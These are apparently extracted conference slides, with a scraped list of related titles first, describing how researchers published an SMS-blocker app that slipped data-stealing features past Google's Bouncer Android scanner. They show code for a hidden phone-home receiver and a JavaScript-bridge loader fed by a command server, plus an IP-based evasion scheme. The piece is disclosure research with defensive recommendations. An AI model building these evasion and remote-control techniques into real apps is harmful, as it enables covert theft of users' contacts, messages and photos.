Adventures in Bouncerland. Nicholas J. Percoco Sean Schulte Trustwave SpiderLabs



Similar documents
Black Hat USA Adventures in BouncerLand. Failures of Automated Malware Detection within Mobile Application Markets

Kaseya Fundamentals Workshop DAY THREE. Developed by Kaseya University. Powered by IT Scholars

This session was presented by Jim Stickley of TraceSecurity on Wednesday, October 23 rd at the Cyber Security Summit.

CYBERCRIMINAL IN BRAZIL SHARES MOBILE CREDIT CARD STORE APP

How Attackers are Targeting Your Mobile Devices. Wade Williamson

Incident Response Using Splunk for State and Local Governments

A Publication of FastSpring. FastSpring. Advertiser. QuickStart Guide. Ten Steps to Get Up and Running Quickly in the FastSpring Affiliate Program

Introduction to Android

Assessing BYOD with the Smarthpone Pentest Framework. Georgia Weidman

How To Use Splunk For Android (Windows) With A Mobile App On A Microsoft Tablet (Windows 8) For Free (Windows 7) For A Limited Time (Windows 10) For $99.99) For Two Years (Windows 9

ios Security The Never-Ending Story of Malicious Profiles Adi Sharabani Yair Amit CEO & Co-Founder Skycure CTO & Co-Founder

Blue Medora VMware vcenter Opera3ons Manager Management Pack for Oracle Enterprise Manager

Trend Micro Incorporated Research Paper Adding Android and Mac OS X Malware to the APT Toolbox

Android Security Evaluation Framework

Kaspersky Security for Mobile

Computer Security Incident Handling Detec6on and Analysis

HOW TO CREATE APPS FOR TRAINING. A step- by- step guide to crea2ng a great training app for your company

DEF CON 19: Getting SSLizzard. Nicholas J. Percoco Trustwave SpiderLabs Paul Kehrer Trustwave SSL

Tutorial on Smartphone Security

No Cloud Allowed. Denying Service to DDOS Protection Services

Splunk and Big Data for Insider Threats

Administrator's Guide

Kaspersky Lab Mobile Device Management Deployment Guide

The Increasing Threat of Malware for Android Devices. 6 Ways Hackers Are Stealing Your Private Data and How to Stop Them

Junos Pulse for Google Android

From Georgia, with Love Win32/Georbot. Is someone trying to spy on Georgians?

Splunk for Networking and SDN

Introducing A S E F - Android Security Evaluation Framework

Mobile Application Hacking for Android and iphone. 4-Day Hands-On Course. Syllabus

Defending Against Web App A0acks Using ModSecurity. Jason Wood Principal Security Consultant Secure Ideas

DNS Traffic Monitoring. Dave Piscitello VP Security and ICT Coordina;on, ICANN

Mobile Phone & Website Tracking Platform Operation Guide

User Guide FOR TOSHIBA STORAGE PLACE

Kaspersky Security 10 for Mobile Implementation Guide

Main Research Gaps in Cyber Security

MOBILE APPS. QA Testing for mobile applications

Advancements in Botnet Attacks and Malware Distribution

BYPASSING THE ios GATEKEEPER

Computer Security DD2395

Offensive & Defensive & Forensic Techniques for Determining Web User Iden<ty

2012 Global Threats and Trends

Mobile Applica,on and BYOD (Bring Your Own Device) Security Implica,ons to Your Business. Dmitry Dessiatnikov

The Best Mobile App Development Platform. Period.

Symantec's Secret Sauce for Mobile Threat Protection. Jon Dreyfus, Ellen Linardi, Matthew Yeo

Mobile Operating Systems & Security

Kaspersky Endpoint Security 8 for Smartphone for Android OS

Security A to Z the most important terms

U.S. Cellular Mobile Data Security. User Guide Version 00.01

Kaspersky Security for Mobile Administrator's Guide

Bell Mobile Device Management (MDM)

NGFW is yesterdays news what is next in scope for the firewall in the threat intelligence age

Member Municipality Security Awareness Training. End- User Informa/on Security Awareness Training

Protec'ng Communica'on Networks, Devices, and their Users: Technology and Psychology

Defending Behind The Device Mobile Application Risks

Report on Consumer Behaviors and Perceptions of Mobile Security. Presented by NQ Mobile & NCSA January 25, 2012

Norton Mobile Privacy Notice

Comodo Mobile Security for Android Software Version 3.0

DETERMINATION OF THE PERFORMANCE

Shellshock. Oz Elisyan & Maxim Zavodchik

How To Use Titanium Studio

Mobile App Testing Process INFLECTICA TECHNOLOGIES (P) LTD

Protecting Android Mobile Devices from Known Threats

Analysis of advanced issues in mobile security in android operating system

Kony Mobile Application Management (MAM)

Hong Kong Information Security Outlook 2015 香 港 資 訊 保 安 展 望

Computer Networks. Examples of network applica3ons. Applica3on Layer

Android (in)security. Having fun with Android. Sarantis Makoudis

Design and Evalua.on of a Real- Time URL Spam Filtering Service

ASL IT Security Advanced Web Exploitation Kung Fu V2.0

ISSA Phoenix Chapter Meeting Topic: Security Enablement & Risk Reducing Best Practices for BYOD + SaaS Cloud Apps

Nodes, Ties and Influence

Future of Mobile App Security. Vincent Sritapan Program Manager Cyber Security Division Science and Technology Directorate

THE SMARTEST WAY TO PROTECT WEBSITES AND WEB APPS FROM ATTACKS. Junos WebApp Secure Junos Spotlight Secure

Hunk & Elas=c MapReduce: Big Data Analy=cs on AWS

Stream Deployments in the Real World: Enhance Opera?onal Intelligence Across Applica?on Delivery, IT Ops, Security, and More

Some Security Challenges of Cloud Compu6ng. Kui Ren Associate Professor Department of Computer Science and Engineering SUNY at Buffalo

Transcription:

Adventures in Bouncerland Nicholas J. Percoco Sean Schulte Trustwave SpiderLabs

Agenda Introduc5ons Our Mo5va5ons What We Knew About Bouncer Research Approach & Process Phase 0 Phase 1 7 Final Test What We Learned About Bouncer Conclusions

INTRODUCTIONS

Introduc>ons About Nick Started InfoSec Career in the 1990s Formed SpiderLabs at Trustwave in 2005 3 rd talk at Black Hat, DEF CON (6 5mes), Briefings for DHS, US- CERT, and United State Secret Service Research areas include Data Breaches, Malware, and Mobile Compu5ng Primary Author of the annual Trustwave Global Security Report @c7ive on Twi`er

Introduc>ons About Sean Backend SSL services developer at Trustwave Writes mobile apps and video games Performs malware analysis on Android Discovered design flaw in Android Presented at DEF CON 19 @sirsean on Twi`er

Introduc>ons The Problem Mobile Malware rarely make an appearance Security Researchers, yes. General Public, no. Consumer Devices Lacks good built- in ac5vity visibility Targeted a`acks are happening Wide- spread catastrophes around the corner

Introduc>ons Our Experience Targeted Mobile A`acks Exist Never make media reports How many go undetected? Android and ios malware gets personal Pinpoints: Where you are? What you are doing? Record your ac5vi5es digital and physical worlds

Introduc>ons Mobile Markets Top of Mind is APP SALES! These are major revenue generators! Everyone s dying to get into Apple s App Store They can make the barrier very high Google Android developers can publish easily This was mo5vated by business, not security. Created a major problem for Google Bouncer was their answer

OUR MOTIVATIONS

Our Mo>va>ons - Google Google is one of the largest tech companies The best search technology Crazy future- crea5ng research projects 800,000 Android devices ac5vated EVERY DAY Android gets them $1.70 per device per year 1 Es5mated $400 Million in 2011 1 1 Horace Dediu s analysis (h`p://www.asymco.com/2012/04/02/android- economics)

Our Mo>va>ons Reac>ve Markets Historically mobile markets were reac5ve The world finds all types of mobile malware Mostly Zeus, SpyEye, and SMS hijack variants Low barriers of entry, make a criminal happy Results: Lots of malware, no one detec5ng it

Our Mo>va>ons Bouncer Revealed Reac5ve approach is a losing ba`le Criminals can create malware faster than people will ever detect and report it Google came to the same conclusion Funded Bouncer with some of that $400M Formally announced on February 2 nd, 2012 2 2 h`p://googlemobile.blogspot.com/2012/02/android- and- security.html

Our Mo>va>ons Curious, we are. In the age of Bouncer : How difficult would it be to slip some malware past him? How long could we perform research before gesng caught? The results would benefit all app market owners, not just Google. Thus, began our Adventures in Bouncerland!

WHAT WE KNEW ABOUT BOUNCER

What We Knew About Bouncer Before February 2 nd, 2012 only Google knew Bouncer existed We learned from Google 3 : It s automated. Scans new and old Stops known malware immediately Behavior based Runs in Google s Cloud, simulates Android run5me Looks for hidden, malicious behavior 3 - h`p://googlemobile.blogspot.com/2012/02/android- and- security.html

What We Knew About Bouncer Bouncer s descrip5on sounded scary Lot of hurdles to overcome to be a successful malware developer for Android now We expected to fail hard.

RESEARCH APPROACH & PROCESS

Research Approach & Process - Rules All of our previous Android research was 100% lab based Tes5ng Bouncer would mean u5lizing Google s resources We needed to establish rules to avoid problems

Research Approach & Process - Rules Rule 1: We will not a`empt to obtain access to Google s infrastructure beyond what is already supplied during the normal applica5on review process. Roo5ng and Remote Shells is prohibited. This would be irresponsible and likely illegal.

Research Approach & Process - Rules Rule 2: We would put controls in place that would reduce the chance of an end- user downloading malware we placed within the marketplace and that it would not execute if downloaded. We paid very close a`en5on to this every step of the way.

Research Approach & Process - Goals Established a legi5mate Android developer account Test the bounds of Bouncer malware detec5on Using only legi5mate tools provided in the SDK Look for ways to hide malicious func5onality Record our results to help improve how this is being done

Phase 0 Build a Benign App Developed a fully func5onal benign app The applica5on was one that is very common One of the factors to mi5gate the chance of someone else downloading it We did not trust that Bouncer was fully automated A sloppy test app would stand out quickly

Phase 0 Meet SMS Bloxor It s a SMS Blocker!

Phase 0 SMS Bloxor Phone Home We needed to know if our app was being scanned by Bouncer Bouncer might allow apps to access the Internet We added a simple BroadcastReceiver.

Phase 0 SMS Bloxor Phone Home <receiver android:name=".receiver.communicationreceiver" /> In our BroadcastReceiver, we schedule it to run itself again in the future using a PendingIntent and the AlarmManager. Intent alarmintent = new Intent(context, CommunicationReceiver.class); PendingIntent pendingintent = PendingIntent.getBroadcast(context, 0, alarmintent, PendingIntent.FLAG_UPDATE_CURRENT); AlarmManager alarmmanager = (AlarmManager)context.getSystemService(Context.ALARM_SERVICE); alarmmanager.set(alarmmanager.rtc_wakeup, nexttime(), pendingintent);

Phase 0 SMS Bloxor Phone Home It will phone home even when it is asleep Will NOT appear in the list of currently running apps In this phase, our backend server is just recording IP and basic informa5on with the request.

SMS Bloxor Benign Demo

Phase 0 Let s Publish It! Crea5ng a Google Android Developer account is quick and painless. Selling apps takes an addi5onal step of linking in an ac5ve Google Checkout (merchant) account. Total effort took less than 60 minutes!

Phase 0 Let s Publish It! We then populated all the required fields and uploaded our APK file.

Phase 0 Let s Publish It! We wanted to mi5gate the chance of an end user downloading our app. Most other SMS Blockers are either free or less than $2.00. We priced ours at $49.95

Phase 0 Bouncer Appears Within a few minutes, our back end control system received a web request: We now know more about Bouncer : He scans upon publishing and likely automated. The IP belonged to Google. Bouncer wants everyone to think he is an actual device, not an emulator.

Phase 0 Let s Try That Again Never build off of a single test. We waited a day and published version 1.0.1. Bouncer scanned us again. Different IP, but same network block.

SMS Bloxor in the Market

Phase 1 7 From Benign to Evil We knew where Bouncer lived. We made SMS Bloxor have two modes: If run within Google, don t execute maliciously. If run outside* of Google, run maliciously. * We defined outside as within Trustwave s network for this research.

Phase 1 7 From Benign to Evil We also wanted to avoid manual review detec5on. Having both malicious and non- malicious func5onality in the app would certainly sound alarms during code review. We turned to a legi5mate technique allowed by Google for a solu5on.

Phase 1 7 From Benign to Evil Facebook s app lives inside a na5ve wrapper. This allows the app to live along side all the other Android apps. It also allows Facebook to update the HTML and Javascript func5onality without having to update the app. Facebook s app can dynamically enable OS- level func5onality through Android s Javascript bridge.

Phase 1 7 From Benign to Evil Facebook s app can dynamically enable OS- level func5onality through Android s Javascript bridge. This means ANY app that is using Android s Javascript bridge could become malware at any >me axer the review process.

Phase 1 7 From Benign to Evil If it works for Facebook, it ll work for us: WebView webview = new WebView(context); webview.getsettings().setjavascriptenabled(true); webview.addjavascriptinterface(bridge, "Bridge"); webview.loaddata(rawfilereader.readfile(webview.getc ontext(), R.raw.default_js), "text/html", "UTF-8"); When we need to load new func5onality: webview.posturl(api_endpoint, postdata(bridge));

Phase 1 7 From Benign to Evil Avoiding detec5on was our goal! We always included legi5mate func5onality within SMS Bloxor that mirrored the malicious func5onality we wanted. We could also now turn our control server in a Command & Control (C&C) server via Javascript bridge.

SMS Bloxor Phases 1-7 Phase Version Legit Malware Scan Detect 1 1.1 Select block numbers from contacts 2 1.2 Select block numbers from SMS history 3 1.3 See your own phone number 4 1.4 Select photos to associate with blocked numbers 5 1.5 Select block numbers from phone history Steal all contacts Yes No Steal all SMS records Yes No Complete phone recon Steal all photos on device Steal all phone records No Yes Yes 6 1.6 Added adver5sements Hijack users screen Yes No 7 1.7 Add analy5cs DDoS any website Yes No No No No

SMS Bloxor Command & Control

Final Test Let s Get Caught We were successful at crea5ng a mobile info- stealing botnet and gesng it published without detec5on. We turned off the IP block and submi`ed another version. We s5ll did not get caught.

Final Test Let s Get Caught Changed interval from 15 minutes to 1 second We angered Bouncer He scanned us 19 5mes within 6 minutes But we did get data back

Final Test Let s Get Caught Contacts: 412-722- 5225 & 202-456- 1111 Phone Number: 15555215877 Voicemail: 15552175049 ANDROID_ID: 9774d56d682e549c Device ID: 112358132134559 Subscriber ID: 310260509066168 SIM Serial Number: 89014103211118510720

Final Test Let s Get Caught And we also received this:

SMS Bloxor Evil Demo Steals your contacts Uploads your SMS history Fingerprints your device Grabs all your photos Uploads your call records Hijacks your screen Makes your device part of a botnet

WHAT WE LEARNED ABOUT BOUNCER

What We Learned Bouncer Flaws Everything Google said about Bouncer was true. It s main weakness is that developers can easily determine when their app are being run by it. Android also allows any developer to bypass this process via a Javascript bridge.

What We Learned A Be^er Bouncer A be`er Bouncer would consist of other entry and end- point evalua5ons. Bouncer would run the apps for longer than a few minutes to verify func5onality. Developers would be required to submit func5onality maps with their APKs. End- users would receive these maps with each download and their devices would prevent ac5ons outside of those maps. Javascript bridges must be strictly limited.

CONCLUSIONS

Conclusions These issues are going to affect both public and private markets being used today and developed for tomorrow. Applica5on markets with malware detec5on can easily be bypassed. Both automated and manual reviews Unless malware detec5on is built- in to the OS, developers will always find ways to bypass pre- entry detec5on.

QUESTIONS?

Adventures in Bouncerland Nicholas J. Percoco Sean Schulte Trustwave SpiderLabs Please make sure you fill out the Black Hat Evalua>on Form!